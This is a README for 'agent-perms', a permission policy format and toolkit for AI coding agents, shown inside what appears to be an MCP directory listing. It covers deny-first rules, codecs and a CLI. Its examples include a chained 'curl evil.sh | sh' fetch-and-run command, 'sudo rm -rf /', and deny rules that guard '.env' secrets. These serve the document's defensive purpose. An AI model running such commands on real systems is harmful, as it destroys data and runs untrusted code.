agent-perms
A vendor-neutral permission policy format for AI coding agents. One file works across Claude Code, OpenAI Codex, OpenCode, Crush, Oh My Pi, and any agent that adopts the spec.
接入你的智能体
發布者自己的指令。不是 PlugMCP 端點。
用我們的金鑰與日誌託管一份副本。
npx -y [email protected]Claude Code 沒有本機指令的安裝連結。複製下方指令並在終端機中執行。
claude mcp add agents-spec -- npx -y agents-spec@6.6.2在終端機中執行。
{ "mcpServers": { "agents-spec": { "command": "npx", "args": [ "-y", "[email protected]" ] } }}claude_desktop_config.json
遠端 URL 還是本機指令？ 兩種安裝方式的差異
Create .agents/permissions.json in your project root:
{
"$schema": "https://github.com/Mearman/agent-permissions/releases/latest/download/agent-permissions.schema.json",
"defaultMode": "standard",
"rules": [
{ "tool": "Bash", "pattern": "sudo:*", "tier": "deny" },
{ "tool": "Read", "pattern": "./.env", "tier": "deny" },
{ "tool": "Bash", "pattern": "npm publish:*", "tier": "deny" },
{ "tool": "Bash", "pattern": "git status", "tier": "allow" },
{ "tool": "Bash", "pattern": "git:*", "tier": "allow" },
{ "tool": "Read", "tier": "allow" },
{ "tool": "Grep", "tier": "allow" },
{ "tool": "Bash", "pattern": "git push:*", "tier": "ask" },
{
"tool": "Bash",
"pattern": "npm run *",
"tier": "allow",
"when": { "cwd": "./packages/*" }
}
]
}
Every rule has a tool, an optional pattern, a tier (deny/ask/allow), and optional when conditions. Evaluation is deny-first: all deny rules are checked, then ask, then allow. Falls back to defaultMode when no rule matches.
Zero-translation migration: jq '.permissions' .claude/settings.json > .agents/permissions.json still works. The schema accepts Claude Code's permissions.allow/deny/ask arrays and the loader normalises them into rules.
Every coding agent has its own permission config. Teams using multiple agents (or migrating between them) maintain separate, often contradictory permission files. This spec provides:
permissions block is valid inputBoth files are merged at load time. Deny rules from any source short-circuit before allow rules.
Some agent harnesses provide a one-command install:
Claude Code (MCP):
claude mcp add agent-perms -- npx -y agent-perms mcp
Claude Code (plugin marketplace):
/plugin marketplace add https://github.com/Mearman/agent-permissions.git
/plugin install agent-perms@agent-perms
OpenAI Codex:
codex mcp add agent-perms -- npx -y agent-perms mcp
For harnesses that use config files, add the following to the mcpServers section:
{
"agent-perms": {
"command": "npx",
"args": ["-y", "agent-perms", "mcp"]
}
}
The MCP server is a background sync daemon. It reads config from .agents/permissions.json and keeps native agent config files in sync. By default it exposes no tools; with --permission-prompt it also exposes a tool that answers permission prompts from the policy (see Permission-prompt tool).
pnpm add agent-perms
The package uses wildcard exports: import only what you need.
agent-perms/api)Side-effect-free functions for use as a library:
import {
convert,
validate,
check,
replay,
suggest,
detectFormat,
} from "agent-perms/api";
// Convert between formats (auto-detects source)
const result = convert(undefined, "canonical", claudeCodeJson);
result.output; // canonical object
result.from; // "claude-code" (detected)
result.ruleCount; // 3
// Validate a policy
const { valid, errors } = validate(json);
// Evaluate a tool call
const { decision } = check("Bash", "sudo rm -rf /", policy, { branch: "main" });
// decision: "allow" | "deny" | "ask"
// Replay a policy over a session transcript (JSON Lines text)
const { counts, differing } = replay(policy, transcriptText);
// counts: { allow, ask, deny }; differing: calls the transcript recorded differently
// Propose allow rules for calls approved at least twice
const suggestions = suggest(transcriptText, { minCount: 2, policy });
// [{ rule: { tool: "Bash", pattern: "npm run:*", tier: "allow" }, count: 3 }]
// Detect format from structure
const format = detectFormat(json); // "claude-code" | "crush" | "kiro" | ...
// Zod schemas (single source of truth)
import { AgentPermissionPolicy } from "agent-perms/schema";
// Deny-first evaluator
import { evaluate } from "agent-perms/evaluate";
// Transcript parsing, replay and rule suggestion over plain evaluator policies
import { parseTranscript, replayCalls, suggestRules } from "agent-perms/replay";
// Multi-layer policy loader
import { loadPolicy } from "agent-perms/loader";
// Bidirectional codecs for each agent
import { claudeCodeCodec } from "agent-perms/compat/codecs";
// SDK enum alignment checks
import { claudeCodeModes } from "agent-perms/compat/enums";
// Sync filesystem configs
import { sync } from "agent-perms/sync";
// Generate a policy confining the file tools to directories
import { confine } from "agent-perms/confine";
// Answer a host's permission prompts from the policy
import { createPermissionPrompt } from "agent-perms/prompt-tool";
import { type AgentPermissionPolicy } from "agent-perms/schema";
// All fields are optional. A valid policy can be as minimal as `{}`.
interface AgentPermissionPolicy {
$schema?: string;
// Default mode: standard | autonomous | restricted | readonly
// Also accepts Claude Code modes: plan | dontAsk | acceptEdits | bypassPermissions
defaultMode?: PermissionMode;
activeProfile?: string;
// Permission rules (deny-first evaluation)
rules?: Array<{
tool: string; // e.g. "Bash", "Read", "mcp__github__*"
pattern?: string; // absent = match any input for this tool
tier: "allow" | "deny" | "ask";
when?: { cwd?: string; branch?: string }; // AND logic
}>;
// Claude Code compat: string rule arrays (normalised to rules on load)
permissions?: {
allow?: string[];
deny?: string[];
ask?: string[];
additionalDirectories?: string[];
defaultMode?: PermissionMode;
};
profiles?: Record<string, PermissionTiers>;
delegation?: {
maxDepth?: number;
nonDelegable?: string[];
bubbleUp?: boolean;
agents?: Record<string, PermissionTiers>;
};
sandbox?: {
mode?: "readonly" | "workspace-write" | "full-access";
writableRoots?: string[];
networkAccess?: boolean;
};
network?: {
enabled?: boolean;
domains?: Record<string, "allow" | "deny">;
};
env?: Record<string, string>;
}
Rules use Tool(pattern) strings inside permissions arrays, compatible with Claude Code's permission format. In the unified rules array, the tool and pattern are separate fields:
deny rules → ask rules → allow rules → defaultMode
Deny short-circuits: if any deny rule matches, the tool is blocked regardless of allow rules from any source.
For hosts that know who is acting, a rule can depend on the actor and the roles they hold. The policy never says who holds a role; the host does, and passes actor and roles with each call.
{
"roles": {
"maintainer": { "allow": ["Bash(git push:*)"] },
"contractor": { "deny": ["Bash(git push:*)"] }
},
"rules": [
{
"tool": "Bash",
"pattern": "npm publish:*",
"tier": "ask",
"approvers": {
"roles": ["maintainer"],
"actors": ["ada"],
"timeoutSeconds": 300
}
},
{
"tool": "Bash",
"pattern": "deploy:*",
"tier": "deny",
"when": { "actor": "contractor-*" }
}
]
}
A role's rules apply as if each carried when: { role }. when.actor and when.role are globs, and a call whose actor or roles the host did not report is unknown, not anonymous: an unknown condition never lets an allow apply and still lets a deny or ask apply. An empty role list is known, and means the actor holds nothing.
approvers on an ask rule says who may resolve the request; explain reports it on the step, without the requester. Holding a permission does not make an actor an approver: only being named does. An unresolved request expires as a deny, after timeoutSeconds if given. The pending-request store and any approval interface belong to the host.
No agent format can limit a rule to an actor or a role, so a codec never writes one as unconditional: an allow limited that way is left out, which is stricter, and a deny or ask limited that way, or an ask that names approvers, makes the conversion fail with an UnsupportedCapabilityError listing the rule.
A deny rule with hidden: true refuses the call exactly as a plain deny does, and also marks the tool as one to leave out of the agent's tool list. explain and check report hidden, and a host that builds a tool list asks which tools to show:
import { visibleTools } from "agent-perms/evaluate";
visibleTools(policy, ["Bash", "WebFetch", "Read"]); // leaves out any tool a hidden rule names
Only a rule that names the tool with no pattern hides the tool. A rule with a pattern refuses the matching inputs and leaves the tool listed. A when condition that holds, or is unknown, hides the tool. hidden is valid only on a deny rule. No agent format can hide a tool from itself, so every codec writes a hidden rule as the plain deny it refuses as.
delegation.maxDepth and delegation.nonDelegable are enforced for a call that carries a depth: the number of agents between it and the top-level agent, 0 for the top-level agent and 1 for its subagent. A subagent's call to a tool matching a nonDelegable rule is denied whatever the rules would decide, and every call from an agent nested deeper than maxDepth is denied. checkSpawn(policy, depth) answers whether an agent at that depth may start a subagent. Across layers the shallowest maxDepth wins and the nonDelegable lists are joined.
depth defaults to 0, so a host that runs subagents has to pass it. delegation.bubbleUp and delegation.agents are not enforced by the evaluator.
evaluate reads a policy afresh on every call. A caller that checks many calls against one policy, such as a server, can prepare it once:
import { compile } from "agent-perms/evaluate";
const policy = compile(loadedPolicy);
policy.evaluate("Bash", "git status"); // "allow" | "ask" | "deny"
policy.explain("Bash", "git status"); // the decision with the rule behind it
Each rule's pattern, tool name and conditions are parsed the first time the rule is tried and reused after that. A compiled policy reads the rules it was given, so compile again after changing them.
A Bash call is judged by every command its line runs, not by the line as a whole, so an allow rule for git:* does not allow git status && curl evil.sh | sh. The line is split at ;, &&, ||, |, |&, & and newlines, and commands run by $(...), backticks and process substitution are judged too. Each command is evaluated on its own and the strictest decision wins. A rule written against the whole line can still deny or ask for it, but only the individual commands can allow it. Text inside single quotes is data, and inside double quotes only substitutions run.
Syntax the splitter does not model (subshells, groups, control flow, heredocs, arithmetic expansion, comments, unterminated quotes) makes the line unsplittable. An unsplittable line is never allowed by a rule: it asks, or is denied if a rule matches the whole line. It still follows defaultMode when no rule matches at all.
What a command does with its arguments is not modelled. bash -c "...", xargs, env, sudo and redirections to files are judged as the one command they are, so a rule that allows one of them allows what it runs.
Deciding which of the dialects above a pattern string is written in — trailing :* means prefix, a bare * means wildcard, a domain: prefix means substring — is this project's own authoring convention, and stays here. Compiling each dialect to a regular expression is trilean's prefixPattern/wildcardPattern/hierarchicalGlobPattern, which this project's implementation was the reference for; the evaluator reads the compiled expression back out of the builder's node and runs it itself, so evaluation stays synchronous and trilean's own async tree-walking evaluator is not involved.
import {
evaluate,
type PermissionPolicy,
type EvaluationContext,
} from "agent-perms/evaluate";
const policy: PermissionPolicy = {
defaultMode: "standard",
rules: [
{ tool: "Bash", pattern: "sudo:*", tier: "deny" },
{ tool: "Bash", pattern: "git:*", tier: "allow" },
{ tool: "Read", tier: "allow" },
],
};
// Returns "deny" | "ask" | "allow"
evaluate(policy, "bash", "git status"); // "allow"
evaluate(policy, "bash", "sudo rm -rf /"); // "deny"
evaluate(policy, "bash", "npm install"); // "ask" (falls through to defaultMode)
// With context for conditional rules
const ctx: EvaluationContext = { cwd: "./packages/api", branch: "main" };
evaluate(policy, "bash", "npm run build", ctx);
Tool names are matched case-insensitively (Bash matches bash).
import { normaliseStringRule } from "agent-perms/evaluate";
// Convert Claude Code-style string rules to structured rules
const rule = normaliseStringRule("Bash(npm:*)", "allow");
// → { tool: "Bash", pattern: "npm:*", tier: "allow" }
import { loadPolicy } from "agent-perms/loader";
const policy = await loadPolicy({ cwd: process.cwd() });
Walks up from cwd looking for .agents/permissions.json and native agent configs. The policy file itself controls discovery via with, without, and up fields:
{
"with": ["claude-code", "opencode"],
"up": 3,
"rules": [...]
}
with: only load these native configs (default: canonical only)without: load all except theseup: how many parent directories to walk (default: "all")Loads and merges layers in order (outermost-first, last-defined-wins for defaultMode):
.agents/permissions.json (team-shared, discovered via walk-up).agents/permissions.local.json (personal overrides, discovered via walk-up).claude/settings.json, opencode.json, etc.), if with/without enables themThe loader normalises all permissions string arrays into structured rules. Deny rules from any layer short-circuit. Allow rules are additive.
A layer can bound the layers after it. Set "ceiling": true in a policy file (an organisation's, say) and the allow rules of layers loaded later, meaning deeper directories and local overrides, only take effect where that file also allows. They can still add deny and ask rules, and they can only make the default mode stricter.
{
"ceiling": true,
"defaultMode": "restricted",
"rules": [{ "tool": "Bash", "pattern": "git:*", "tier": "allow" }]
}
A project under that file can allow git status, which the ceiling already allows, but an allow for npm run * is ignored. A ceiling that allows nothing bounds nothing, and a ceiling never bounds layers before it. mergeLayerPolicies does the same for layers you supply yourself, each with a source name that explain reports.
Bidirectional codecs convert between the canonical format and each agent's native config:
import {
claudeCodeCodec,
codexCodec,
encodeCodex,
} from "agent-perms/compat/codecs";
// Decode agent-native → canonical
const policy = claudeCodeCodec.decode(claudeSettings.permissions);
// Encode canonical → agent-native
const codexConfig = codexCodec.encode(canonicalPolicy);
// Codex config plus the execpolicy rules file for command rules
const { config, rules } = encodeCodex(canonicalPolicy);
¹ OpenCode's agent-specific tools have no canonical equivalent. Per-agent markdown overrides must be handled by the caller. A deny or ask for a tool OpenCode has no setting for makes the encode fail with an UnsupportedCapabilityError, and two rules on one pattern are written as the stricter.
² Codex's on-failure approval policy and granular approval config have no canonical equivalent. TOML serialisation is the caller's responsibility; the codec works on parsed JS objects.
Encoding never weakens a restrictive rule. Codex can enforce a deny on a path (read-only or no access) and a deny on a network domain, plus a deny on writes when the policy has a read-only sandbox. Any other deny or ask rule, and any deny or ask rule carrying a when condition, makes the encode throw UnsupportedCapabilityError, which lists every refused rule and why. An allow rule with no Codex equivalent is left out, which can only make the result stricter. Restrictions from the top-level rules are carried into every named profile.
A path deny becomes a Codex filesystem entry: deny for Read, read for Write or Edit. A ./ path is written as a subpath of :workspace_roots (./secrets becomes secrets in that table) and an absolute path stays an absolute key. Codex applies an entry to the path and everything under it, and the workspace roots include any Codex adds beyond the working directory, so the written entry is never narrower than the rule; a trailing /* or /** is written as that same subtree. A nested entry is written at least as strict as a denied ancestor, since Codex lets the more specific entry win. Any other path pattern is refused: a wildcard anywhere but the end, a string prefix (:*), ~, a bare relative path, a . or .. segment, or *, ?, [ or ] in the path, which Codex would read as glob syntax. Decoding reads an absolute key or a :workspace_roots subpath back as the path plus its /** subtree, reads Codex's legacy none as deny, and fails on a read or deny entry it cannot place (another special root, a ~ path or a glob) rather than dropping it.
Codex enforces command rules through execpolicy rules files, not its config, so codexCodec on its own refuses a command deny or ask. encodeCodex(policy) returns { config, rules }, where rules is the content of a Starlark rules file (or undefined when there are none) that belongs at CODEX_EXECPOLICY_RULES_PATH (rules/agent-perms.rules) beside the config, since Codex loads every *.rules file in the rules directory of each config layer (~/.codex/rules, a project's .codex/rules). A command deny becomes prefix_rule(pattern = [...], decision = "forbidden") and an ask becomes decision = "prompt", keeping the stricter decision when both name one prefix. Only patterns a prefix rule matches exactly are written: git push:*, and git push * whose only wildcard is the trailing one, both match the words alone or followed by arguments, which is what Codex matches once it has split the command into words. An exact command (a prefix rule would widen it), a wildcard anywhere else, a word with quoting, escapes or shell syntax, an empty word, a leading variable assignment, a tool-wide Bash rule and a command rule in a named profile (a rules file applies to every profile) are refused. A command allow is left out. Codex applies prefix rules to each command of a script it can split into plain commands (joined by &&, ||, ; or |); a script it cannot split, such as one with a redirection or a command substitution, is matched as a whole and so is not caught by a rule on a command inside it. agent-perms convert --to codex --output <file> writes the rules file beside the output, and refuses to print to stdout when there is one; sync does not write Codex files.
³ Crush has only an allowlist of tools: no deny, no ask, no patterns. A deny or ask makes the encode fail with an UnsupportedCapabilityError; an allow with a pattern is left out, which is stricter.
⁴ Oh My Pi enforces bash.patterns: an ordered list of match globs (only * is special, whitespace is collapsed, the first matching entry wins) with approval allow, prompt or deny. Its deny and prompt entries also catch a matching command inside a compound line, and an allow entry never approves a compound line, which agrees with how a canonical policy judges a shell line. Encoding writes deny entries first, then prompt, then allow, because OMP takes the first match and a canonical policy takes the strictest. A canonical prefix rule (git push:*) and a trailing wildcard (git *) are each written twice, as the bare command and the command with arguments, since OMP's git * does not match git. ask becomes prompt. A deny or ask for any tool but Bash, one that carries a condition, one on a literal asterisk (OMP cannot write one), an actor or role limit, or an ask that names approvers makes the encode fail with an UnsupportedCapabilityError; an allow OMP cannot express is left out, which is stricter. The default mode becomes OMP's tools.approvalMode, which decides calls no entry covers by the tier each tool declares: always-ask approves reads and prompts for writes and commands, write prompts for commands only, and yolo, OMP's own default, approves everything. standard and restricted (and the modes the evaluator reads as them) are written as always-ask; autonomous writes nothing, leaving OMP's own mode in place; readonly is refused, since OMP has no mode that denies what no entry covers. The one gap: no OMP mode prompts for a read, so a read that standard or restricted would ask about is approved. OMP's other settings are not converted. Decoding reads always-ask and write as standard and yolo as autonomous, and reads the entries in order, failing on anything it cannot read faithfully (an unknown mode, a bad approval, an empty match, a match ending in :*) rather than skipping it. agent-perms convert reads and writes OMP's config as YAML, editing an existing file in place so only bash.patterns and tools.approvalMode change; agent-perms sync keeps a project's .omp/config.yml, and with --omp-global the global one, in step (see sync).
⁵ Claude Code holds a rule as a Tool(pattern) string and nothing else, so a condition (when) is not written. An allow limited by a condition is left out, since it would otherwise apply everywhere; a deny or ask is written without it and applies everywhere, which is stricter. A canonical default mode Claude Code has no name for is written as the closest one that is not looser: readonly as dontAsk, restricted and standard as default. Claude Code's own dontAsk refuses every call no rule allows, and is read that way.
jq '.permissions' .claude/settings.json > .agents/permissions.json
This works because the canonical spec accepts Claude Code's rule syntax, mode values, and defaultMode placement unchanged. The loader normalises permissions arrays into structured rules.
import { createMcpServer, startMcpServer } from "agent-perms/mcp";
A background sync daemon that keeps native agent config files bidirectionally synced with .agents/permissions.json. It exposes no tools unless the permission-prompt mode is on. startMcpServer(options) serves on stdio from the current directory and runs the sync; createMcpServer(root, options) builds the server without connecting it or syncing, for a host that supplies its own transport. Sync is configured via the sync field in the policy file:
{
"sync": {
"mode": "watch",
"backup": true
}
}
mode: "sync": one-shot sync on startupmode: "watch": continuous sync via fs.watchmode: false: disabledAlso available as the agent-perms-mcp binary.
agent-perms mcp --permission-prompt adds one tool, permission_prompt, which answers Claude Code's permission prompts from the policy. Claude Code sends prompts to an MCP tool only in print mode (claude -p) with --permission-prompt-tool; an interactive session asks the person at the terminal and never calls the tool. The tool is consulted only for calls Claude Code would otherwise prompt for: a call its own settings already allow or deny never reaches it.
claude -p \
--mcp-config '{"mcpServers":{"agent-perms":{"command":"npx","args":["-y","agent-perms","mcp","--permission-prompt"]}}}' \
--permission-prompt-tool mcp__agent-perms__permission_prompt \
"run the tests"
Claude Code calls the tool with { tool_name, input, tool_use_id } and reads back one text block holding {"behavior":"allow","updatedInput":{...}} or {"behavior":"deny","message":"..."}. The tool loads the policy for the server's working directory on every prompt, so edits apply to the next call, and judges the call by one field of its input:
A file path is resolved against the working directory and judged in both forms a policy may write it, absolute (as confine writes it) and ./-relative (as in ./.env) when it lies inside that directory. The strictest decision any rule reaches in either form wins, and the default mode decides only when neither form matches a rule. A call missing the field its tool is judged by is denied. An allow decision returns the input unchanged, and a deny returns a message naming the rule and the file it came from. The prompt has no third answer, so an ask decision is denied with a message naming the rule that asked, unless an approval handler settles it (below). A prompt carries no cwd or branch, so when conditions are unknown: they never allow a call, and may still deny it.
As a library, createPermissionPrompt answers prompts directly and takes the approval handler. The handler is where a host puts its own approval flow: showing the request to a person, holding it until someone approves it elsewhere, or consulting another policy. It receives the request, the matched subject and the full explanation, plus an abort signal that fires when the agent abandons the call.
import { createPermissionPrompt } from "agent-perms/prompt-tool";
import { loadPolicy } from "agent-perms/loader";
const answer = createPermissionPrompt({
loadPolicy: () => loadPolicy({ cwd: root }),
root,
context: { branch: "main" },
onAsk: ({ request, subject, explanation }, signal) =>
approvals.waitFor(request.tool_use_id, subject, explanation, signal),
});
const result = await answer(
{ tool_name: "Bash", input: { command: "git push" } },
signal,
);
// { behavior: "allow", updatedInput: {...} } or { behavior: "deny", message: "..." }
To serve the tool with a handler, pass it to the server: createMcpServer(root, { permissionPrompt: { onAsk } }).
The agent-perms binary converts, validates, confines, syncs, and serves permission configs.
All flags, no positionals. Format names resolve to default config file locations.
Use - for stdin/stdout.
claude-code → .claude/settings.json
canonical → .agents/permissions.json
opencode → opencode.json
kiro → .kiro/permissions.json
codex → codex.toml
crush → .crush.json
# Format name → reads/writes default config locations
agent-perms convert --from claude-code --to canonical
# File paths: auto-detects format from contents
agent-perms convert --from .claude/settings.json --to crush
# Piping with -
cat settings.json | agent-perms convert --from - --to canonical --output -
# Write to specific file
agent-perms convert --from claude-code --to canonical --output my-policy.json
agent-perms validate --input canonical
agent-perms validate --input .agents/permissions.json
echo '...' | agent-perms validate --input -
Exits 0 if valid, 2 with error details if not.
agent-perms check --tool Bash --input "git status" --policy-file canonical
agent-perms check --tool Bash --input "git status" --policy-file .agents/permissions.json
Exits 0 with allow or 1 with deny.
agent-perms replay --transcript session.jsonl --policy-file canonical
Judges every tool call in the transcript against the policy and prints how many it would allow, ask about and deny, one decision<TAB>count line each. It then lists the calls whose recorded outcome the policy could not have produced, as decision<TAB>outcome<TAB>tool<TAB>input. A call that ran is consistent with allow or ask, a call a rule denied with deny, and a call the user declined with ask; a call with no recorded result is counted but never listed. Each call is judged in the working directory and branch recorded with it, so when conditions apply as they did at the time.
agent-perms suggest --transcript session.jsonl --policy-file canonical > proposed.json
Prints a canonical policy of proposed allow rules on stdout, and each rule with how many approved calls it covers on stderr. Only calls that ran count as approved, and a Bash line counts command by command. A command is never proposed when it appeared in a line a policy rule denies or that the transcript records as denied or declined, and commands the policy already allows, or a rule asks about, are left out. Commands sharing a first word become one prefix rule on the words they all start with (npm run build and npm run lint give npm run:*), unless that prefix would also match an excluded command, in which case each repeated command gets an exact rule. Other tools get an exact rule on their path or URL, or a bare rule when the tool has no such input. Review the proposal before adopting it: a prefix rule allows arguments that were never observed.
Both commands read Claude Code session logs (the .jsonl files under ~/.claude/projects/). The parser reads tool_use blocks (id, name, input) and tool_result blocks (tool_use_id, is_error, content) from each entry's message.content, plus the entry's cwd and gitBranch as the call's context. The log records no environment variables or git remote, so a when condition on either is unknown during a replay: it can still deny or ask, but never allows. The input rules match against is command for Bash, file_path for Read, Write, Edit and MultiEdit, notebook_path for NotebookEdit and url for WebFetch. A log does not say which rule decided a call, or whether a call that ran was allowed outright or approved when asked; it records only the outcome, which is read from the result text: an error starting Permission to use and containing has been denied is a denial, an error starting The user doesn't want to proceed with this tool use. is a declined request, and anything else means the call ran.
agent-perms confine --root .
agent-perms confine --root . --root ../shared --output .agents/permissions.json
agent-perms confine --root ~/projects/app --outside deny
Prints a canonical policy that allows Read, Edit and Write on each root and everything below it, and lists the roots other than the working directory under permissions.additionalDirectories. Relative roots resolve against the working directory; paths are made absolute, . and .. segments are collapsed, trailing separators are dropped and duplicates are removed.
What it can and cannot express. Evaluation is deny-first and patterns are exact, prefix:* or * wildcards, none of which can negate. "Deny everything outside the roots" therefore cannot be written: a blanket deny would also beat the allow rules for the roots. Instead the policy:
<root> and <root>/*, so a sibling sharing the root as a string prefix (/work/app-secrets for /work/app) is not matched;.. segment, because the wildcard /work/app/* would otherwise match the text /work/app/../secret;defaultMode to restricted (outside paths ask) or, with --outside deny, readonly (outside paths are refused). That mode is global: it also applies to every other tool that has no rule of its own, so readonly refuses Bash calls that no rule allows.Tool inputs are matched as literal text. A path given relative to the working directory matches no root rule and falls to the default mode.
This is not a sandbox. Only the file tools are constrained. A Bash command can still read or write anywhere, and other tools are untouched. To restrict what shell commands can reach, use the policy's sandbox field.
agent-perms sync
agent-perms sync --dry-run
agent-perms sync -w claude-code -w opencode
agent-perms sync -x codex
Sync merges rules with deny-first semantics (deny > ask > allow for same tool+pattern).
Most restrictive defaultMode wins.
If an agent's codec refuses a rule in the merged policy (see the compatibility table), sync reports the refused rules, writes nothing for any agent, and exits 1. Leave that agent out with --without to sync the others.
Oh My Pi's config is YAML and is edited in place: only bash.patterns and tools.approvalMode change, and comments and every other key are kept. Sync reads the project's .omp/config.yml like any other native config, and also reads the global config (config.yml, or an existing config.yaml, in $PI_CODING_AGENT_DIR, else ~/.omp/agent), because Oh My Pi replaces the global bash.patterns with a project's rather than joining them: a project list written without the global's entries would drop its denies. So the global's rules reach the merged policy, and --without omp keeps them out. The project file is written when it exists (or with --create); the global file is written only with --omp-global, since every Oh My Pi session on the machine reads it. Either file is always backed up to .bak before it is written, and one sync cannot read (invalid YAML, or an entry the codec refuses to decode) stops the sync instead of being overwritten. tools.approvalMode is only ever set to always-ask, Oh My Pi's strictest mode, and is left as it is when the policy leaves the mode to Oh My Pi. Oh My Pi reads a project config from the directory it runs in only, not from a parent. Named Oh My Pi profiles are not read.
agent-perms mcp
Starts the MCP sync daemon on stdio. Sync config comes from .agents/permissions.json via the sync field. Typically invoked by agent harnesses via npx agent-perms-mcp, not run directly.
The schema is included in SchemaStore. Editors that support it (VS Code, JetBrains, neovim) will automatically provide autocomplete and validation for .agents/permissions.json and .agents/permissions.local.json files with no configuration.
To explicitly reference the schema:
{
"$schema": "https://github.com/Mearman/agent-permissions/releases/latest/download/agent-permissions.schema.json"
}
Or reference locally:
{
"$schema": "./node_modules/agent-perms/agent-permissions.schema.json"
}
The schema file ships with the package at agent-perms/agent-permissions.schema.json.
{
"rules": [
{ "tool": "Bash", "pattern": "git status", "tier": "allow" },
{ "tool": "Bash", "pattern": "git diff:*", "tier": "allow" },
{ "tool": "Read", "tier": "allow" },
{ "tool": "Grep", "tier": "allow" },
{ "tool": "Read", "pattern": "./.env", "tier": "deny" },
{ "tool": "Bash", "pattern": "sudo:*", "tier": "deny" }
]
}
.agents/permissions.local.json){
"rules": [
{ "tool": "Bash", "pattern": "python3:*", "tier": "allow" },
{ "tool": "Bash", "pattern": "docker:*", "tier": "allow" }
]
}
Rules without when always apply, regardless of cwd or branch:
{
"rules": [{ "tool": "Bash", "pattern": "npm publish:*", "tier": "deny" }]
}
Rules with when only match when all conditions are met (AND logic):
{
"rules": [
{
"tool": "Bash",
"pattern": "npm publish:*",
"tier": "deny",
"when": { "branch": "main", "cwd": "./packages/core" }
}
]
}
Conditions available in when, all combined with AND:
A key that is not one of these is a validation error, so a misspelled condition cannot silently leave a rule applying everywhere.
A predicate is validated with trilean's own schema and evaluated with trilean's synchronous evaluator, under the same three-valued rules as the other conditions. Its reference keys name context fields: cwd, branch, actor, remote (normalised, as remote compares it), env:NAME (text) and role:NAME (a boolean). A field the context does not carry is unknown, so a predicate that depends on it never lets an allow rule apply and still lets a deny or ask rule apply, while a definite result on one side of an or or and settles it whatever the other side is. Here a rule allows deploy on either of two repositories:
{
"tool": "Bash",
"pattern": "deploy:*",
"tier": "allow",
"when": {
"predicate": {
"kind": "or",
"left": {
"kind": "textCompare",
"op": "equals",
"left": { "kind": "reference", "key": "remote" },
"right": { "kind": "textLiteral", "value": "github.com/acme/api" }
},
"right": {
"kind": "textCompare",
"op": "equals",
"left": { "kind": "reference", "key": "remote" },
"right": { "kind": "textLiteral", "value": "github.com/acme/web" }
}
}
}
}
A predicate may not contain exists, some, every, fold, accumulator, lookup, delegate, treeReference or call nodes. exists would read an unknown field as absent, and a quantifier over the roles would read unknown roles as an empty list, either of which turns "the host did not say" into a definite answer that can grant; compare the value itself instead (not over an equals on env:STAGE is unknown when the variable is unset). The schema rejects these, and compiling a policy built in code with one throws.
A codec writes a rule with a predicate as it writes any other conditioned rule: an allow it cannot condition is left out, and a deny or ask is written without the condition, which is stricter, or refused where the target cannot do that.
A condition on a field the evaluation context does not carry (no cwd or no branch supplied) is unknown, not satisfied. An unknown condition never lets an allow rule apply, and still lets a deny or ask rule apply, since the condition may hold. A definite mismatch on one condition settles the rule even if another condition is unknown.
A long-running host can follow the layer files instead of polling:
import { watchPolicy } from "agent-perms/loader";
import type { PermissionPolicy } from "agent-perms/evaluate";
let policy: PermissionPolicy | undefined;
const watcher = watchPolicy(
{ cwd },
(next) => {
policy = next;
},
(error) => {
console.error(error.message);
},
);
// watcher.close() when done
onChange runs with the policy as it first loads, then again whenever a reload gives a different one, including when a layer file appears or disappears; a rewrite that leaves the policy unchanged reports nothing. Use the first report rather than a separate loadPolicy, which could miss a change made while the watch was starting. A layer file that exists but cannot be read, parsed or validated, an editor mid-write for instance, goes to onError as a PolicyLoadError and no policy is reported until every file loads again, because a policy missing that layer would be looser than the one in force.
A profile can build on others with extends and state only what differs:
{
"profiles": {
"base": { "deny": ["Bash(sudo:*)"], "allow": ["Read", "Grep"] },
"dev": { "extends": ["base"], "allow": ["Bash(npm run *)"] }
},
"activeProfile": "dev"
}
Extending only adds: a profile's lists are its parents' lists followed by its own, so a child cannot remove a restriction a parent set, and its default mode is its own or else the last parent's that sets one. A parent that does not exist, or profiles that extend each other in a cycle, fail validation. resolveProfiles flattens extends, and the Codex codec writes each profile with its parents' rules.
pnpm install # Install dependencies
pnpm test # Run tests
pnpm build # Build ESM + CJS + types + JSON Schema
The Zod schema in src/schema.ts is the single source of truth. The compiled JSON Schema (agent-permissions.schema.json) is generated via z.toJSONSchema(). Never edit it by hand.
src/compat/codecs.tsz.codec(nativeSchema, AgentPermissionPolicy, { decode, encode })src/test/compat.test.tsCODECS export
{ "mcpServers": { "agents-spec": { "command": "npx", "args": [ "-y", "[email protected]" ] } }}工具
尚無工具清單。遠端伺服器會在首次健康檢查後取得工具清單。
常見問題
在本頁複製適用於 Cursor、Claude Desktop、Claude Code 或 VS Code 的 stdio 設定。它使用發布者的安裝方式，而不是 PlugMCP 代理伺服器。
這筆記錄未列出必要的環境變數。
Agents Spec 透過 stdio 在本機執行。
上次檢查時間：2026-10-27。 Cross-agent permission policy specification for AI coding agents